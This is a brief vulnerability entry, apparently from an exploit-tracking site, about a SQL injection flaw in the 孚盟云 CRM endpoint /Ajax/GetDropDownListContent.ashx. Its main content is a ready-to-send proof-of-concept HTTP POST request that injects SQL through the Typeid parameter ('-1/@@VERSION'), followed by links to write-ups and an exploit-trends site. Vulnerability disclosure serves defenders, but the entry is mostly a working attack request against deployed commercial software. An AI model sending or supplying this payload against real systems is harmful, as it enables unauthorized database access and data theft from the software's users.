Description
孚盟云 GetDropDownListContent.ashx SQL注入漏洞
孚盟云 GetDropDownListContent.ashx SQL注入漏洞
PoC
POST /Ajax/GetDropDownListContent.ashx HTTP/1.1
Content-Type: application/x-www-form-urlencoded
action=getType&Typeid=-1/@@VERSION
# Visit https://trap.biu.life/ to view exploit trends for this vulnerability.References
https://mrxn.net/jswz/fumacrm-GetDropDownListContent-sqli.html
https://cn-sec.com/archives/4621502.html
https://www.ddpoc.com/DVB-2025-10290.html
https://blog.csdn.net/nnn2188185/article/details/153844207